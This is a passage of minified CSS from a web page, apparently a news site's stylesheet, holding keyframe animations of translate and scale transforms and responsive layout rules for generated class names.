translate(-22.670000076293945px,0px);}50%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,1) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,1) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,1) translate(-22.670000076293945px,0px);}75%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);}100%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);}}@keyframes animation-16fq4rz{0%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);}25%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);}50%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,1) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,1) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,1) translate(-22.670000076293945px,0px);}75%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.95) translate(-22.670000076293945px,0px);}100%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);}}@-webkit-keyframes animation-1kjk1j2{0%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);}25%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);}50%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,0px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,0px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,0px);}75%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);}100%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);}}@keyframes animation-1kjk1j2{0%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);}25%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);}50%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,0px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,0px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,0px);}75%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,5px);}100%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);}}@-webkit-keyframes animation-88g286{0%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);}25%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);}50%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);}75%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,0px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,0px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,0px);}100%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);}}@keyframes animation-88g286{0%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);}25%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);}50%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);}75%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,0px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,0px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,0px);}100%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,5px);}}@-webkit-keyframes animation-12yx39b{0%{-webkit-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);}25%{-webkit-transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);}50%{-webkit-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);}75%{-webkit-transform:translate(34px,0px) scale(1,1) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,1) translate(-34px,0px);transform:translate(34px,0px) scale(1,1) translate(-34px,0px);}100%{-webkit-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);}}@keyframes animation-12yx39b{0%{-webkit-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);}25%{-webkit-transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);}50%{-webkit-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);}75%{-webkit-transform:translate(34px,0px) scale(1,1) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,1) translate(-34px,0px);transform:translate(34px,0px) scale(1,1) translate(-34px,0px);}100%{-webkit-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.95) translate(-34px,0px);}}@-webkit-keyframes animation-4hu8jm{0%{-webkit-transform:translate(0px,0px) scale(1,0.85) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.85) translate(0px,0px);transform:translate(0px,0px) scale(1,0.85) translate(0px,0px);}33.33%{-webkit-transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);}100%{-webkit-transform:translate(0px,0px) scale(1,0.1) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.1) translate(0px,0px);transform:translate(0px,0px) scale(1,0.1) translate(0px,0px);}}@keyframes animation-4hu8jm{0%{-webkit-transform:translate(0px,0px) scale(1,0.85) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.85) translate(0px,0px);transform:translate(0px,0px) scale(1,0.85) translate(0px,0px);}33.33%{-webkit-transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);transform:translate(0px,0px) scale(1,0.9) translate(0px,0px);}100%{-webkit-transform:translate(0px,0px) scale(1,0.1) translate(0px,0px);-ms-transform:translate(0px,0px) scale(1,0.1) translate(0px,0px);transform:translate(0px,0px) scale(1,0.1) translate(0px,0px);}}@-webkit-keyframes animation-1wqz2f4{0%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,15px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,15px);transform:translate(0px,0px) translate(0px,0px) translate(0px,15px);}33.33%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);}100%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,30px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,30px);transform:translate(0px,0px) translate(0px,0px) translate(0px,30px);}}@keyframes animation-1wqz2f4{0%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,15px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,15px);transform:translate(0px,0px) translate(0px,0px) translate(0px,15px);}33.33%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);transform:translate(0px,0px) translate(0px,0px) translate(0px,10px);}100%{-webkit-transform:translate(0px,0px) translate(0px,0px) translate(0px,30px);-ms-transform:translate(0px,0px) translate(0px,0px) translate(0px,30px);transform:translate(0px,0px) translate(0px,0px) translate(0px,30px);}}@-webkit-keyframes animation-yl3z84{0%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.85) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.85) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.85) translate(-11.329999923706055px,0px);}33.33%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);}100%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.1) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.1) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.1) translate(-11.329999923706055px,0px);}}@keyframes animation-yl3z84{0%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.85) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.85) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.85) translate(-11.329999923706055px,0px);}33.33%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.9) translate(-11.329999923706055px,0px);}100%{-webkit-transform:translate(11.329999923706055px,0px) scale(1,0.1) translate(-11.329999923706055px,0px);-ms-transform:translate(11.329999923706055px,0px) scale(1,0.1) translate(-11.329999923706055px,0px);transform:translate(11.329999923706055px,0px) scale(1,0.1) translate(-11.329999923706055px,0px);}}@-webkit-keyframes animation-1q3gjvc{0%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,15px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,15px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,15px);}33.33%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);}100%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,30px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,30px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,30px);}}@keyframes animation-1q3gjvc{0%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,15px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,15px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,15px);}33.33%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,10px);}100%{-webkit-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,30px);-ms-transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,30px);transform:translate(11.329999923706055px,0px) translate(-11.329999923706055px,0px) translate(0px,30px);}}@-webkit-keyframes animation-nc39ev{0%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.85) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.85) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.85) translate(-22.670000076293945px,0px);}33.33%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);}100%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.1) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.1) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.1) translate(-22.670000076293945px,0px);}}@keyframes animation-nc39ev{0%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.85) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.85) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.85) translate(-22.670000076293945px,0px);}33.33%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.9) translate(-22.670000076293945px,0px);}100%{-webkit-transform:translate(22.670000076293945px,0px) scale(1,0.1) translate(-22.670000076293945px,0px);-ms-transform:translate(22.670000076293945px,0px) scale(1,0.1) translate(-22.670000076293945px,0px);transform:translate(22.670000076293945px,0px) scale(1,0.1) translate(-22.670000076293945px,0px);}}@-webkit-keyframes animation-amd09y{0%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,15px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,15px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,15px);}33.33%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);}100%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,30px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,30px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,30px);}}@keyframes animation-amd09y{0%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,15px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,15px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,15px);}33.33%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,10px);}100%{-webkit-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,30px);-ms-transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,30px);transform:translate(22.670000076293945px,0px) translate(-22.670000076293945px,0px) translate(0px,30px);}}@-webkit-keyframes animation-ru1vxe{0%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,15px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,15px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,15px);}33.33%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);}100%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,30px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,30px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,30px);}}@keyframes animation-ru1vxe{0%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,15px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,15px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,15px);}33.33%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,10px);}100%{-webkit-transform:translate(34px,0px) translate(-34px,0px) translate(0px,30px);-ms-transform:translate(34px,0px) translate(-34px,0px) translate(0px,30px);transform:translate(34px,0px) translate(-34px,0px) translate(0px,30px);}}@-webkit-keyframes animation-ajnadh{0%{-webkit-transform:translate(34px,0px) scale(1,0.85) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.85) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.85) translate(-34px,0px);}33.33%{-webkit-transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);}100%{-webkit-transform:translate(34px,0px) scale(1,0.1) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.1) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.1) translate(-34px,0px);}}@keyframes animation-ajnadh{0%{-webkit-transform:translate(34px,0px) scale(1,0.85) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.85) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.85) translate(-34px,0px);}33.33%{-webkit-transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.9) translate(-34px,0px);}100%{-webkit-transform:translate(34px,0px) scale(1,0.1) translate(-34px,0px);-ms-transform:translate(34px,0px) scale(1,0.1) translate(-34px,0px);transform:translate(34px,0px) scale(1,0.1) translate(-34px,0px);}}.css-1ri25x2{display:none;}@media (min-width:740px){.css-1ri25x2{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;width:16px;height:31px;}}@media (min-width:1024px){.css-1ri25x2{display:none;}}.css-12fr9lp{height:23px;margin-top:6px;}.css-1hfdzay{display:none;}@media (min-width:1024px){.css-1hfdzay{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-top:0;}}.css-4g4cvq{display:none;}@media (min-width:740px){.css-4g4cvq{position:fixed;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;opacity:0;z-index:1;-webkit-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;width:100%;height:32.063px;background:white;padding:5px 0;top:0;text-align:center;font-family:nyt-cheltenham,georgia,'times new roman',times,serif;box-shadow:rgba(0,0,0,0.08) 0 0 5px 1px;border-bottom:1px solid #e2e2e2;}}.css-m6xlts{margin-left:20px;margin-right:20px;max-width:1605px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;position:relative;width:100%;}@media (min-width:1360px){.css-m6xlts{margin-left:20px;margin-right:20px;}}@media (min-width:1780px){.css-m6xlts{margin-left:auto;margin-right:auto;}}.css-1ahhg7f{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;max-width:1605px;overflow:hidden;position:absolute;width:56%;margin-left:calc((100% - 56%) / 2);}@media (min-width:1024px){.css-1ahhg7f{width:56%;margin-left:calc((100% - 56%) / 2);}}@media (min-width:1024px){.css-1ahhg7f{width:53%;margin-left:calc((100% - 53%) / 2);}}.css-fwqvlz{font-family:nyt-cheltenham-small,georgia,'times new roman';font-weight:400;font-size:13px;-webkit-letter-spacing:0.015em;-moz-letter-spacing:0.015em;-ms-letter-spacing:0.015em;letter-spacing:0.015em;margin-top:10.5px;margin-right:auto;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;}.css-17xtcya{font-family:nyt-franklin,helvetica,arial,sans-serif;font-weight:700;font-size:12.5px;text-transform:uppercase;-webkit-letter-spacing:0;-moz-letter-spacing:0;-ms-letter-spacing:0;letter-spacing:0;margin-top:12.5px;margin-bottom:auto;margin-left:auto;white-space:nowrap;}.css-17xtcya:hover{-webkit-text-decoration:underline;text-decoration:underline;}.css-x15j1o{display:inline-block;padding-left:7px;padding-right:7px;font-size:13px;margin-top:10px;margin-bottom:auto;color:#ccc;}.css-1705lsu{margin-top:auto;margin-bottom:auto;margin-left:auto;background-color:#fff;z-index:50;box-shadow:-14px 2px 7px -2px rgba(255,255,255,0.7);}@media (min-width:740px){.css-1iwv8en{margin-top:1px;}}@media (min-width:1024px){.css-1iwv8en{margin-top:0;}}@-webkit-keyframes animation-b7n1on{0%{-webkit-transform:rotate(0deg);-ms-transform:rotate(0deg);transform:rotate(0deg);}100%{-webkit-transform:rotate(360deg);-ms-transform:rotate(360deg);transform:rotate(360deg);}}@keyframes animation-b7n1on{0%{-webkit-transform:rotate(0deg);-ms-transform:rotate(0deg);transform:rotate(0deg);}100%{-webkit-transform:rotate(360deg);-ms-transform:rotate(360deg);transform:rotate(360deg);}}@-webkit-keyframes animation-1b9egsl{0%{-webkit-transform:rotate(20deg);-ms-transform:rotate(20deg);transform:rotate(20deg);}100%{-webkit-transform:rotate(380deg);-ms-transform:rotate(380deg);transform:rotate(380deg);}}@keyframes animation-1b9egsl{0%{-webkit-transform:rotate(20deg);-ms-transform:rotate(20deg);transform:rotate(20deg);}100%{-webkit-transform:rotate(380deg);-ms-transform:rotate(380deg);transform:rotate(380deg);}}.css-1rj8to8{display:inline-block;line-height:1em;}.css-1rj8to8 .css-0{-webkit-text-decoration:none;text-decoration:none;display:inline-block;}.css-4w91ra{display:inline-block;padding-left:3px;}.css-wg1cha{margin-left:20px;margin-right:20px;}@media (min-width:600px){.css-wg1cha{width:calc(100% - 40px);max-width:600px;margin:1.5rem auto 1em;}}@media (min-width:1440px){.css-wg1cha{width:600px;max-width:600px;margin:1.5rem auto 1em;}}.css-1ubp8k9{font-family:nyt-imperial,georgia,'times new roman',times,serif;font-style:italic;font-size:1.0625rem;line-height:1.5rem;width:calc(100% - 40px);max-width:600px;margin:1rem auto 0.75rem;}@media (min-width:740px){.css-1ubp8k9{font-size:1.1875rem;line-height:1.75rem;margin-bottom:1.25rem;}}@media (min-width:1440px){.css-1ubp8k9{width:600px;max-width:600px;}}@media print{.css-1ubp8k9{margin-left:0;margin-right:0;width:100%;max-width:100%;}}@-webkit-keyframes animation-1egl8em{from{opacity:0;-webkit-transform:translate3d(0,13%,0);-ms-transform:translate3d(0,13%,0);transform:translate3d(0,13%,0);}to{opacity:1;-webkit-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);transform:translate3d(0,0,0);}}@keyframes animation-1egl8em{from{opacity:0;-webkit-transform:translate3d(0,13%,0);-ms-transform:translate3d(0,13%,0);transform:translate3d(0,13%,0);}to{opacity:1;-webkit-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0);transform:translate3d(0,0,0);}}.css-vdv0al{font-family:nyt-franklin,helvetica,arial,sans-serif;font-size:0.75rem;line-height:1rem;width:calc(100% - 40px);max-width:600px;margin:0 auto 1em;color:#999;}.css-vdv0al a{color:#999;-webkit-text-decoration:none;text-decoration:none;}.css-vdv0al a:hover{-webkit-text-decoration:underline;text-decoration:underline;}@media (min-width:1440px){.css-vdv0al{width:600px;max-width:600px;}}@media print{.css-vdv0al{margin-left:0;margin-right:0;width:100%;max-width:100%;}}@media print{.css-vdv0al span{display:none;}}.css-1i2y565 .e6idgb70 + .e1h9rw200{margin-top:0;}.css-1i2y565 .eoo0vm40 + .e1gnsphs0{margin-top:-0.3em;}.css-1i2y565 .e6idgb70 + .eoo0vm40{margin-top:0;}.css-1i2y565 .eoo0vm40 + figure{margin-top:1.2rem;}.css-1i2y565 .e1gnsphs0 + figure{margin-top:1.2rem;}.css-o6xoe7{display:none;}@media (min-width:1024px){.css-o6xoe7{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-right:0;margin-left:auto;width:130px;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;}}@media (min-width:1150px){.css-o6xoe7{width:210px;}}@media print{.css-o6xoe7{display:none;}}.css-1fanzo5{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;margin-bottom:1rem;}@media (min-width:1024px){.css-1fanzo5{-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;height:100%;width:945px;margin-left:auto;margin-right:auto;}}@media (min-width:1150px){.css-1fanzo5{width:1110px;margin-left:auto;margin-right:auto;}}@media (min-width:1280px){.css-1fanzo5{width:1170px;}}@media (min-width:1440px){.css-1fanzo5{width:1200px;}}@media print{.css-1fanzo5{margin-left:0;margin-right:0;width:100%;max-width:100%;}}@media print{.css-1fanzo5{margin-bottom:1em;display:block;}}.css-53u6y8{margin-left:auto;margin-right:auto;width:100%;}@media (min-width:1024px){.css-53u6y8{margin-left:calc((100% - 600px) / 2);margin-right:0;width:600px;}}@media (min-width:1440px){.css-53u6y8{max-width:600px;width:600px;margin-left:calc((100% - 600px) / 2);}}@media print{.css-53u6y8{margin-left:0;margin-right:0;width:100%;max-width:100%;}}.css-1m50asq{width:100%;vertical-align:top;}.css-z3e15g{position:fixed;opacity:0;-webkit-scroll-events:none;-moz-scroll-events:none;-ms-scroll-events:none;scroll-events:none;top:0;left:0;bottom:0;right:0;-webkit-transition:opacity 0.2s;transition:opacity 0.2s;background-color:#fff;pointer-events:none;}.css-uwwqev{width:100%;height:100%;}.css-1ly73wi{position:absolute;width:1px;height:1px;margin:-1px;padding:0;border:0;-webkit-clip:rect(0 0 0 